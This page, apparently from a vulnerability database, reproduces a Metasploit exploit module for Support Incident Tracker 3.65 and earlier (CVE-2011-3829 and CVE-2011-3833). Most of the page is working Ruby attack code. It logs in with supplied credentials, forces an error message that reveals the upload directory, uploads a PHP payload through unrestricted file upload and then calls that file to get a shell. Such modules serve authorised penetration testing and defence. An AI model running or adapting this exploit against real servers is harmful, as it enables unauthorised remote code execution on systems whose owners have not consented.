Lucene search
+L

Support Incident Tracker Remote Command Execution

🗓️ 10 Nov 2011 00:00:00Reported by Secunia Research, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 75 Views

Support Incident Tracker Remote Command Execution. Combines two issues in Support Incident Tracker (<= 3.65) to upload data and execute a shell. Requires authentication

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Support Incident Tracker Remote Command Execution',
        'Description' => %q{
          This module combines two separate issues within Support Incident Tracker (<= 3.65)
          application to upload arbitrary data and thus execute a shell. The two issues exist
          in ftp_upload_file.php.
          The first vulnerability exposes the upload dir used to store attachments.
          The second vulnerability allows arbitrary file upload since there is no
          validation function to prevent from uploading any file type.
          Authentication is required to exploit both vulnerabilities.
        },
        'Author' => [
          'Secunia Research', # Original discovery
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2011-3829'],
          ['CVE', '2011-3833'],
          ['OSVDB', '76999'],
          ['OSVDB', '77003'],
          ['URL', 'http://web.archive.org/web/20111202001019/http://secunia.com:80/secunia_research/2011-75'],
          ['URL', 'http://web.archive.org/web/20120105104613/http://secunia.com/secunia_research/2011-79/'],
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Compat' =>
                        {
                          'ConnectionType' => 'find',
                        }
        },
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '2011-11-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [true, "SiT! directory path", "/sit"]),
        OptString.new('USERNAME', [ true, 'The username to authenticate as', '' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username', '' ]),
      ]
    )
  end

  def check
    uri = normalize_uri(datastore['URI'], "index.php")

    res = send_request_raw({
      'uri' => uri
    })

    if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/)
      ver = [ $1.to_i, $2.to_i ]
      vprint_status("SiT! #{ver[0]}.#{ver[1]}")

      if (ver[0] == 3 and ver[1] == 65)
        return Exploit::CheckCode::Appears("SiT! version #{ver[0]}.#{ver[1]} appears to be vulnerable")
      elsif (ver[0] == 3 and ver[1] < 65)
        return Exploit::CheckCode::Appears("SiT! version #{ver[0]}.#{ver[1]} appears to be vulnerable")
      end
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def retrieve_session(user, pass)
    uri = normalize_uri(datastore['URI'], "login.php")

    res = send_request_cgi({
      'uri' => uri,
      'method' => 'POST',
      'data' => "username=#{user}&password=#{pass}",
    }, 25)

    if (res and res.code == 302 and res.headers['Location'] =~ /main.php/)
      print_good("Successfully logged in as #{user}:#{pass}")

      if (res.get_cookies =~ /SiTsessionID/) and res.get_cookies.split("SiTsessionID")[-1] =~ /=(.*);/
        session = $1
        print_good("Successfully retrieved cookie: #{session}")
        return session
      else
        fail_with(Failure::Unknown, "Error retrieving cookie!")
      end
    else
      fail_with(Failure::Unknown, "Error logging in.")
    end
  end

  def upload_page(session, newpage, contents)
    uri = normalize_uri(datastore['URI'], "ftp_upload_file.php")

    boundary = rand_text_alphanumeric(6)

    data = "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"file\"; "
    data << "filename=\"#{newpage}\"\r\n"
    data << "Content-Type: application/x-httpd-php\r\n\r\n"
    data << contents
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"shortdescription\"\r\n\r\n"
    data << rand_text_alphanumeric(rand(10 + 10))
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"longdescription\"\r\n\r\n"
    data << rand_text_alphanumeric(rand(20) + 20)
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"fileversion\"\r\n\r\n"
    data << "1"
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
    data << "publish"
    data << "\r\n--#{boundary}--"

    res = send_request_raw({
      'uri'	=> uri,
      'method' => 'POST',
      'data' => data,
      'headers' =>
      {
        'Content-Type'	=> 'multipart/form-data; boundary=' + boundary,
        'Content-Length' => data.length,
        'Cookie'	=> "SiTsessionID=#{session}",
      }
    }, 25)

    if (res and res.code == 200)
      print_good("Successfully Uploaded #{newpage}")
      return res
    else
      fail_with(Failure::Unknown, "Error uploading #{newpage}")
    end
  end

  def retrieve_upload_dir(session)
    data = rand_text_alphanumeric(rand(20) + 20)
    filename = rand_text_alphanumeric(rand(256) + 300)
    res = upload_page(session, filename, data)

    if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/
      upload_dir = "attachments-#{$1}"
      print_good("Successfully retrieved upload dir: #{upload_dir}")
      return upload_dir
    else
      fail_with(Failure::Unknown, "Error retrieving the upload dir")
    end
  end

  def cmd_shell(cmdpath)
    print_status("Calling payload: #{cmdpath}")

    uri = normalize_uri(datastore['URI'], cmdpath)

    send_request_raw({
      'uri'	=> uri
    }, 25)
    return
  end

  def exploit
    cmd_php = '<?php ' + payload.encoded + '?>'
    cmdscript = rand_text_alphanumeric(rand(10) + 10) + '.php'
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    session = retrieve_session(user, pass)
    upload_dir = retrieve_upload_dir(session) # CVE-2011-3829
    upload_page(session, cmdscript, cmd_php) # CVE-2011-3833
    cmdpath = "#{upload_dir}/#{cmdscript}"
    cmd_shell(cmdpath)
    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation